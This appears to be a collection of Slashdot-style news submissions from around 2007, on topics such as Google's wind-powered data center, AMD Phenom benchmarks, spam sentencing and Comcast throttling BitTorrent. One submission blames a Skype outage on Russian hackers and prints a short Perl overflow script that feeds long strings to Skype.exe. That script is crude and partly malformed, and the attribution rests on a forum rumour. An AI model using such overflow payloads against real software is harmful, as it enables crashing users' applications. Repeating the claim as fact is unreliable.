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Submission + - Google may build wind-power data center in Kansas

mfontecchio writes: "Google is considering building a wind-powered data center in Greensburg, Kan. In addition to the huge solar-panel project it's building in Mountain View, this 20-megawatt data center in Greensburg would go a long way toward helping Google get carbon neutral, as is its goal. The company, like the entire universe today, is on the green kick. It announced last month that it wants to make renewable energy cheaper than coal."

Submission + - Study: VideoGames May Reduce Emotional Control (xuecast.com)

XueCast writes: "http://www.xuecast.com/?p=418, Yesterday, The researchers at the Department of Psychiatry of Taipei Veterans General Hospital had just announced that playing video games may drain your emotional control. The researchers said that playing video games, especially if they are violent game titles can reduce blood circulation to the brain, thus reducing a person's grip on his or her emotional outbursts. There were 30 participants that the researchers had studied, all of these participants were about 25 year old, and each participant was asked to play a video game for about 30 minutes, and had his or her brain monitored."
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Submission + - Did Amazon Customers Buy the Wrong Planet Earth?

theodp writes: "In mid-December, the NY Post cited an endorsement from Oprah on her 'Favorite Things' show for making Planet Earth the best-selling DVD set on Amazon. And Amazon just reported that the $54.99 boxed set was one of its three best-selling DVDs this holiday season in terms of units sold. It'd be ironic if the huge sales numbers can be attributed to The Oprah Effect, since the David Attenborough-narrated version of Planet Earth sold by Amazon certainly wasn't the same as the Sigourney Weaver-narrated version sold by the Discovery Channel Store that was actually on Oprah's List. That the Amazon version wasn't just-what-the-Oprah-ordered wasn't evident from the Amazon web site, although some customers tried to warn potential buyers."

Submission + - When quad-cores collide: AMD Phenom vs Intel C2Q (hexus.net)

Steve Kerrison writes: "It's crunch time for AMD's newest line of processors — Phenom. Today sees their launch, AMD having kept the CPUs on a tight NDA leash, until now. HEXUS.net pits the 2.3GHz quad-core Phenom 9600 against an Intel Core 2 Quad and one of its Athlon 64 predecessors, and it doesn't look good: 'AMD cannot match the clock-speed of Intel's slowest quad-core processor and, worse still, can't match Core 2 Quad's performance on a clock-for-clock basis either.'"
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Submission + - Bill Gates Denied Visa to Nigeria (gizmodo.com) 1

Xight writes: "Gizmodo recently wrote an article about Nigeria recently denying Bill Gates a visa to travel there on his recent trip to Africa proving that money can't get you everything. Whats even more amusing is that he was at "initially denied the Microsoft kingpin's application on the premise that they required proof he would not reside in Nigeria indefinitely, causing a strain on social services and a general nuisance for immigration.". I guess those Nigerian 419 scams really do pay off for them."

Submission + - Porn Spammers Get Five Years

Frosty Piss writes: "Two men who sent millions of unsolicited pornographic e-mails have been sentenced to more than five years in federal prison as part of the first prosecution under the CAN-SPAM Act, U.S. Department of Justice officials said Friday. They sent millions of unsolicited e-mails, prosecutors said. During nine months in 2004, Kilbride, Schaffer and an associate transmitted more than 600,000 spam messages advertising pornographic Web sites, according to court documents."

Submission + - Researcher plans on sperm-based LEDs (uc.edu)

Wandalf writes: A press release by the University of Cincinnati reveals that professor Andrew Steckl, in his search for top quality biological material used for LED technology suggested salmon sperm as trap in LEDs. "Biological materials have many technologically important qualities — electronic, optical, structural, magnetic," says Steckl. "But certain materials are hard for to duplicate, such as DNA and proteins." In his search for a source that's widely available, and not subject to any organization or country he suggested salmon sperm, which is considered a waste product.

Submission + - Skype crash has been caused by Russian hackers (xakep.ru) 8

An anonymous reader writes: Yesterday's Skype worldwide crash has been caused by Russian hackers, as per www.xakep.ru forum info (http://www.xakep.ru/post/39746/default.asp). They have found a local buffer overflow vulnerability caused by sending a long string to the Skype authorisation server. Within several hours those guys managed to take offline all Skype servers and prevent users from logging in. Here is exploit's code: [code]#!/usr/bin/perl # Simle Code by Maranax Porex ;D # Ya Skaypeg!! for ($i=256; $i>xCCCCC; $i=$i+256) { $eot='AAAA' x $i; call_sp(); } exit; sub call_sp() { $str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\""; system("$str"); }[/code]
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Submission + - Comcast Blocks BitTorrent (torrentfreak.com)

FsG writes: Over the past few weeks, more and more Comcast users have reported that their BitTorrent traffic is severely throttled and they are totally unable to seed. Comcast doesn't seem to discriminate between legitimate and infringing torrent traffic, and most of the BitTorrent encryption techniques in use today aren't helping. If more ISPs adopt their strategy, could this mean the end of BitTorrent?

Submission + - Hidden Image Found in Da Vinci's Last Supper (telegraph.co.uk)

Tech.Luver writes: "Telegraph reports, " New claims that Leonardo da Vinci's The Last Supper contains a hidden image of a woman holding a child are provoking a storm of interest on the internet. The figure allegedly appears when the 15th Century mural painting is superimposed with its mirror image, and both are made partially transparent. According to Slavisa Pesci, an Italian amateur scholar, the resulting composite picture shows a figure clutching what appears to be a young child. ""

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